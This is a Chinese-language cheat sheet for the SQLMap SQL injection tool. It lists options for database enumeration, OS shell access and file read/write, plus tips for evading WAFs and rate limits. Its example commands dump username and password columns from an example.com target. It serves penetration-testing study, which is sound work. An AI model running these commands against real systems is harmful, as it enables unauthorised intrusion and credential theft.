一、SQLMap 简介
SQLMap 是一款开源的自动化 SQL 注入工具,广泛应用于检测和利用 Web 应用程序的 SQL 注入漏洞。它支持多种数据库类型(如 MySQL、PostgreSQL、MSSQL、Oracle 等),并提供了丰富的参数以应对各种注入场景。
二、常用命令速查
2.1 目标指定
命令 | 说明 |
---|---|
-u <URL> |
指定目标 URL |
-d <DB连接> |
直接连接数据库 |
-l <文件> |
从 Burp 日志中读取目标 |
-r <文件> |
从 HTTP 请求文件中读取目标 |
-g <Google语法> |
使用 Google 搜索结果作为目标 |
-c <配置文件> |
读取配置文件执行 |
2.2 数据库枚举
命令 | 说明 |
---|---|
--dbs |
列出所有数据库 |
--current-db |
列出当前数据库 |
--tables |
列出当前数据库的所有表 |
--columns |
列出指定表的所有列 |
--dump |
导出表中数据 |
-D <库名> |
指定数据库 |
-T <表名> |
指定表 |
-C <列名> |
指定列 |
2.3 请求与注入
命令 | 说明 |
---|---|
--data=<数据> |
指定 POST 数据 |
--method=<方法> |
指定 HTTP 方法 |
--cookie=<Cookie> |
指定 Cookie |
--user-agent=<UA> |
指定 User-Agent |
--referer=<Referer> |
指定 Referer |
--headers=<头信息> |
添加额外请求头 |
--proxy=<代理> |
使用代理 |
--delay=<秒> |
设置请求延迟 |
--timeout=<秒> |
设置超时时间 |
--tamper=<脚本> |
使用篡改脚本绕过 WAF |
2.4 检测与优化
命令 | 说明 |
---|---|
--level=<1-5> |
设置检测等级(默认1) |
--risk=<0-3> |
设置风险等级(默认1) |
--smart |
启发式检测,节省时间 |
--batch |
自动确认,无需交互 |
--threads=<数> |
设置线程数(最大10) |
--random-agent |
使用随机 User-Agent |
2.5 高级功能
命令 | 说明 |
---|---|
--os-shell |
尝试获取系统 Shell |
--file-read=<文件> |
读取数据库服务器文件 |
--file-write=<文件> |
写入文件到服务器 |
--os-cmd=<命令> |
执行操作系统命令 |
--sql-query=<SQL> |
执行自定义 SQL 语句 |
--sql-shell |
交互式 SQL Shell |
三、常用操作示例
3.1 基本注入流程
sqlmap -u "http://example.com/page?id=1" --batch --dbs
sqlmap -u "http://example.com/page?id=1" -D dbname --tables
sqlmap -u "http://example.com/page?id=1" -D dbname -T users --columns
sqlmap -u "http://example.com/page?id=1" -D dbname -T users -C username,password --dump
3.2 POST 注入
sqlmap -u "http://example.com/login" --data="username=admin&password=pass" --forms
3.3 使用 Cookie 注入
sqlmap -u "http://example.com/dashboard" --cookie="session=abc123" --level=2
四、检测等级与风险等级说明
--level
参数
-
1:默认等级,测试 GET 和 POST 参数
-
2:增加 Cookie 检测
-
3:增加 User-Agent 和 Referer 检测
-
4:增加 Host 头检测
-
5:全量检测
--risk
参数
-
1:默认,大多数测试语句
-
2:增加基于时间的盲注测试
-
3:增加 OR 型注入测试
五、小贴士
-
使用
--batch
可避免交互式确认,适合自动化; -
使用
--tamper
可绕过简单的 WAF/IDS; -
使用
--delay
和--threads
可控制请求频率,避免被封; -
结合 Burp Suite 抓包后使用
-r
参数进行注入测试非常方便。
六、总结
SQLMap 是安全测试中不可或缺的工具之一,熟练掌握其常用参数和场景组合,可以极大提升渗透测试效率。本文列举的指令覆盖了大部分常用场景,建议结合实际靶场练习,加深理解。